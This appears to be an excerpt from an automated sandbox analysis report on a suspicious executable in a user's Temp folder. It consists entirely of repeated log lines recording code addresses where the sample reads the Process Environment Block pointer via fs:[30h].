Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC43D5 mov eax, dword ptr fs:[00000030h]	3_2_32DC43D5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3E3C0 mov eax, dword ptr fs:[00000030h]	3_2_32D3E3C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3E3C0 mov eax, dword ptr fs:[00000030h]	3_2_32D3E3C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3E3C0 mov eax, dword ptr fs:[00000030h]	3_2_32D3E3C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3C3C7 mov eax, dword ptr fs:[00000030h]	3_2_32D3C3C7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D463CB mov eax, dword ptr fs:[00000030h]	3_2_32D463CB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6A390 mov eax, dword ptr fs:[00000030h]	3_2_32D6A390
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6A390 mov eax, dword ptr fs:[00000030h]	3_2_32D6A390
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6A390 mov eax, dword ptr fs:[00000030h]	3_2_32D6A390
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41380 mov eax, dword ptr fs:[00000030h]	3_2_32D41380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41380 mov eax, dword ptr fs:[00000030h]	3_2_32D41380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41380 mov eax, dword ptr fs:[00000030h]	3_2_32D41380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41380 mov eax, dword ptr fs:[00000030h]	3_2_32D41380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41380 mov eax, dword ptr fs:[00000030h]	3_2_32D41380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F380 mov eax, dword ptr fs:[00000030h]	3_2_32D5F380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F380 mov eax, dword ptr fs:[00000030h]	3_2_32D5F380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F380 mov eax, dword ptr fs:[00000030h]	3_2_32D5F380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F380 mov eax, dword ptr fs:[00000030h]	3_2_32D5F380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F380 mov eax, dword ptr fs:[00000030h]	3_2_32D5F380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5F380 mov eax, dword ptr fs:[00000030h]	3_2_32D5F380
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF38A mov eax, dword ptr fs:[00000030h]	3_2_32DFF38A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBC3B0 mov eax, dword ptr fs:[00000030h]	3_2_32DBC3B0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D493A6 mov eax, dword ptr fs:[00000030h]	3_2_32D493A6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D493A6 mov eax, dword ptr fs:[00000030h]	3_2_32D493A6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D38347 mov eax, dword ptr fs:[00000030h]	3_2_32D38347
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D38347 mov eax, dword ptr fs:[00000030h]	3_2_32D38347
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D38347 mov eax, dword ptr fs:[00000030h]	3_2_32D38347
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE372 mov eax, dword ptr fs:[00000030h]	3_2_32DBE372
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE372 mov eax, dword ptr fs:[00000030h]	3_2_32DBE372
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE372 mov eax, dword ptr fs:[00000030h]	3_2_32DBE372
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DBE372 mov eax, dword ptr fs:[00000030h]	3_2_32DBE372
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6237A mov eax, dword ptr fs:[00000030h]	3_2_32D6237A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC0371 mov eax, dword ptr fs:[00000030h]	3_2_32DC0371
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC0371 mov eax, dword ptr fs:[00000030h]	3_2_32DC0371
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4B360 mov eax, dword ptr fs:[00000030h]	3_2_32D4B360
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4B360 mov eax, dword ptr fs:[00000030h]	3_2_32D4B360
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4B360 mov eax, dword ptr fs:[00000030h]	3_2_32D4B360
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4B360 mov eax, dword ptr fs:[00000030h]	3_2_32D4B360
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4B360 mov eax, dword ptr fs:[00000030h]	3_2_32D4B360
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4B360 mov eax, dword ptr fs:[00000030h]	3_2_32D4B360
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E363 mov eax, dword ptr fs:[00000030h]	3_2_32D7E363
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5E310 mov eax, dword ptr fs:[00000030h]	3_2_32D5E310
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5E310 mov eax, dword ptr fs:[00000030h]	3_2_32D5E310
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5E310 mov eax, dword ptr fs:[00000030h]	3_2_32D5E310
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7631F mov eax, dword ptr fs:[00000030h]	3_2_32D7631F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D39303 mov eax, dword ptr fs:[00000030h]	3_2_32D39303
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D39303 mov eax, dword ptr fs:[00000030h]	3_2_32D39303
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC330C mov eax, dword ptr fs:[00000030h]	3_2_32DC330C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC330C mov eax, dword ptr fs:[00000030h]	3_2_32DC330C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC330C mov eax, dword ptr fs:[00000030h]	3_2_32DC330C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC330C mov eax, dword ptr fs:[00000030h]	3_2_32DC330C
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF30A mov eax, dword ptr fs:[00000030h]	3_2_32DFF30A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E13336 mov eax, dword ptr fs:[00000030h]	3_2_32E13336
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D78322 mov eax, dword ptr fs:[00000030h]	3_2_32D78322
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D78322 mov eax, dword ptr fs:[00000030h]	3_2_32D78322
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D78322 mov eax, dword ptr fs:[00000030h]	3_2_32D78322
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3E328 mov eax, dword ptr fs:[00000030h]	3_2_32D3E328
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3E328 mov eax, dword ptr fs:[00000030h]	3_2_32D3E328
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3E328 mov eax, dword ptr fs:[00000030h]	3_2_32D3E328
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6332D mov eax, dword ptr fs:[00000030h]	3_2_32D6332D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D5B0D0 mov eax, dword ptr fs:[00000030h]	3_2_32D5B0D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B0D6 mov eax, dword ptr fs:[00000030h]	3_2_32D3B0D6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B0D6 mov eax, dword ptr fs:[00000030h]	3_2_32D3B0D6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B0D6 mov eax, dword ptr fs:[00000030h]	3_2_32D3B0D6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B0D6 mov eax, dword ptr fs:[00000030h]	3_2_32D3B0D6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3C0F6 mov eax, dword ptr fs:[00000030h]	3_2_32D3C0F6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7D0F0 mov eax, dword ptr fs:[00000030h]	3_2_32D7D0F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7D0F0 mov ecx, dword ptr fs:[00000030h]	3_2_32D7D0F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D390F8 mov eax, dword ptr fs:[00000030h]	3_2_32D390F8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D390F8 mov eax, dword ptr fs:[00000030h]	3_2_32D390F8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D390F8 mov eax, dword ptr fs:[00000030h]	3_2_32D390F8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D390F8 mov eax, dword ptr fs:[00000030h]	3_2_32D390F8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3A093 mov ecx, dword ptr fs:[00000030h]	3_2_32D3A093
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3C090 mov eax, dword ptr fs:[00000030h]	3_2_32D3C090
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E150B7 mov eax, dword ptr fs:[00000030h]	3_2_32E150B7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14080 mov eax, dword ptr fs:[00000030h]	3_2_32E14080
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14080 mov eax, dword ptr fs:[00000030h]	3_2_32E14080
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14080 mov eax, dword ptr fs:[00000030h]	3_2_32E14080
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14080 mov eax, dword ptr fs:[00000030h]	3_2_32E14080
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14080 mov eax, dword ptr fs:[00000030h]	3_2_32E14080
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14080 mov eax, dword ptr fs:[00000030h]	3_2_32E14080
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E14080 mov eax, dword ptr fs:[00000030h]	3_2_32E14080
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFB0AF mov eax, dword ptr fs:[00000030h]	3_2_32DFB0AF
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEF0A5 mov eax, dword ptr fs:[00000030h]	3_2_32DEF0A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEF0A5 mov eax, dword ptr fs:[00000030h]	3_2_32DEF0A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEF0A5 mov eax, dword ptr fs:[00000030h]	3_2_32DEF0A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEF0A5 mov eax, dword ptr fs:[00000030h]	3_2_32DEF0A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEF0A5 mov eax, dword ptr fs:[00000030h]	3_2_32DEF0A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEF0A5 mov eax, dword ptr fs:[00000030h]	3_2_32DEF0A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DEF0A5 mov eax, dword ptr fs:[00000030h]	3_2_32DEF0A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D800A5 mov eax, dword ptr fs:[00000030h]	3_2_32D800A5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41051 mov eax, dword ptr fs:[00000030h]	3_2_32D41051
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D41051 mov eax, dword ptr fs:[00000030h]	3_2_32D41051
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D70044 mov eax, dword ptr fs:[00000030h]	3_2_32D70044
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D46074 mov eax, dword ptr fs:[00000030h]	3_2_32D46074
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D46074 mov eax, dword ptr fs:[00000030h]	3_2_32D46074
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D47072 mov eax, dword ptr fs:[00000030h]	3_2_32D47072
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E1505B mov eax, dword ptr fs:[00000030h]	3_2_32E1505B
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DE9060 mov eax, dword ptr fs:[00000030h]	3_2_32DE9060
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D65004 mov eax, dword ptr fs:[00000030h]	3_2_32D65004
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D65004 mov ecx, dword ptr fs:[00000030h]	3_2_32D65004
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D48009 mov eax, dword ptr fs:[00000030h]	3_2_32D48009
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3D02D mov eax, dword ptr fs:[00000030h]	3_2_32D3D02D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E081EE mov eax, dword ptr fs:[00000030h]	3_2_32E081EE
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E081EE mov eax, dword ptr fs:[00000030h]	3_2_32E081EE
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D501C0 mov eax, dword ptr fs:[00000030h]	3_2_32D501C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D501C0 mov eax, dword ptr fs:[00000030h]	3_2_32D501C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D551C0 mov eax, dword ptr fs:[00000030h]	3_2_32D551C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D551C0 mov eax, dword ptr fs:[00000030h]	3_2_32D551C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D551C0 mov eax, dword ptr fs:[00000030h]	3_2_32D551C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D551C0 mov eax, dword ptr fs:[00000030h]	3_2_32D551C0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D391F0 mov eax, dword ptr fs:[00000030h]	3_2_32D391F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D391F0 mov eax, dword ptr fs:[00000030h]	3_2_32D391F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D501F1 mov eax, dword ptr fs:[00000030h]	3_2_32D501F1
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D501F1 mov eax, dword ptr fs:[00000030h]	3_2_32D501F1
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D501F1 mov eax, dword ptr fs:[00000030h]	3_2_32D501F1
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F1F0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F1F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6F1F0 mov eax, dword ptr fs:[00000030h]	3_2_32D6F1F0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D491E5 mov eax, dword ptr fs:[00000030h]	3_2_32D491E5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D491E5 mov eax, dword ptr fs:[00000030h]	3_2_32D491E5
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6B1E0 mov eax, dword ptr fs:[00000030h]	3_2_32D6B1E0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A1E3 mov eax, dword ptr fs:[00000030h]	3_2_32D4A1E3
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A1E3 mov eax, dword ptr fs:[00000030h]	3_2_32D4A1E3
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A1E3 mov eax, dword ptr fs:[00000030h]	3_2_32D4A1E3
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A1E3 mov eax, dword ptr fs:[00000030h]	3_2_32D4A1E3
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4A1E3 mov eax, dword ptr fs:[00000030h]	3_2_32D4A1E3
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D381EB mov eax, dword ptr fs:[00000030h]	3_2_32D381EB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D69194 mov eax, dword ptr fs:[00000030h]	3_2_32D69194
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81190 mov eax, dword ptr fs:[00000030h]	3_2_32D81190
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D81190 mov eax, dword ptr fs:[00000030h]	3_2_32D81190
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D44180 mov eax, dword ptr fs:[00000030h]	3_2_32D44180
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D44180 mov eax, dword ptr fs:[00000030h]	3_2_32D44180
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D44180 mov eax, dword ptr fs:[00000030h]	3_2_32D44180
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E151B6 mov eax, dword ptr fs:[00000030h]	3_2_32E151B6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D731BE mov eax, dword ptr fs:[00000030h]	3_2_32D731BE
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D731BE mov eax, dword ptr fs:[00000030h]	3_2_32D731BE
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D741BB mov ecx, dword ptr fs:[00000030h]	3_2_32D741BB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D741BB mov eax, dword ptr fs:[00000030h]	3_2_32D741BB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D741BB mov eax, dword ptr fs:[00000030h]	3_2_32D741BB
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E1A4 mov eax, dword ptr fs:[00000030h]	3_2_32D7E1A4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7E1A4 mov eax, dword ptr fs:[00000030h]	3_2_32D7E1A4
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7415F mov eax, dword ptr fs:[00000030h]	3_2_32D7415F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3A147 mov eax, dword ptr fs:[00000030h]	3_2_32D3A147
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3A147 mov eax, dword ptr fs:[00000030h]	3_2_32D3A147
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3A147 mov eax, dword ptr fs:[00000030h]	3_2_32D3A147
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD314A mov eax, dword ptr fs:[00000030h]	3_2_32DD314A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD314A mov eax, dword ptr fs:[00000030h]	3_2_32DD314A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD314A mov eax, dword ptr fs:[00000030h]	3_2_32DD314A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DD314A mov eax, dword ptr fs:[00000030h]	3_2_32DD314A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D9717A mov eax, dword ptr fs:[00000030h]	3_2_32D9717A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D9717A mov eax, dword ptr fs:[00000030h]	3_2_32D9717A
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E15149 mov eax, dword ptr fs:[00000030h]	3_2_32E15149
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D46179 mov eax, dword ptr fs:[00000030h]	3_2_32D46179
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E13157 mov eax, dword ptr fs:[00000030h]	3_2_32E13157
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E13157 mov eax, dword ptr fs:[00000030h]	3_2_32E13157
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E13157 mov eax, dword ptr fs:[00000030h]	3_2_32E13157
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F113 mov eax, dword ptr fs:[00000030h]	3_2_32D3F113
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D70118 mov eax, dword ptr fs:[00000030h]	3_2_32D70118
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6510F mov eax, dword ptr fs:[00000030h]	3_2_32D6510F
